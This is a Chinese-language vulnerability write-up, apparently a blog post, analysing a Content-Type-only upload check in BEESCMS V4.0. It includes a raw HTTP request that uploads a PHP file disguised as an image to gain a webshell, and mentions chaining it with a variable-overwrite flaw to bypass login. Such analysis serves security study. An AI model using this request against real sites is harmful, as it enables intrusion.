一、漏洞描述:
上传文件的代码过滤不严,仅仅对content-type进行验证,所以造成了任意文件上传漏洞
二、漏洞分析过程:
定位到上传代码:/admin/upload.php
这里获取表单提交的内容,然后交给up_img()函数处理:
跟进up_img()函数:/admin/fun.php
这里仅仅对content-type进行了验证,没有其他的过滤了,传入的类型数组为常见的图片content-type:
然后拼接完整的文件路径、文件名,直接用move_uploaded_file()函数进行上传了:
因为content-type是来自客户端的,所以我们用burp改包就可以上传任意文件Getshell了。由于此文件上传功能是后台的,需要登陆,但是可以配合前面的变量覆盖漏洞进行完整的配合利用。
三、漏洞利用:
1、访问上传页面:
http://www.beescms.test/admin/upload.php
2、点击上传后,抓包,将conetnt-type改成允许的类型:
数据包如下:
POST /admin/upload.php HTTP/1.1
Host: www.beescms.test
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://www.beescms.test/admin/upload.php
Cookie: PHPSESSID=andul3quevuqpg01gfl1nl3i77;user=1
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------14100825332592
Content-Length: 616
-----------------------------14100825332592
Content-Disposition: form-data; name="get"
-----------------------------14100825332592
Content-Disposition: form-data; name="up"; filename="_inc.php"
Content-Type: image/png
-----------------------------14100825332592
Content-Disposition: form-data; name="thumb_width"
300
-----------------------------14100825332592
Content-Disposition: form-data; name="thumb_height"
200
-----------------------------14100825332592
Content-Disposition: form-data; name="submit"
上ä¼
-----------------------------14100825332592--
3、访问上传的webshell:
http://www.beescms.test/upload/img/xxx.php
成功执行:
测试的CMS详细版本为:BEES_V4.0_R_20160525
点个赞和在看吧,欢迎转发!
点个赞和在看吧,欢迎转发!
点个赞和在看吧,欢迎转发!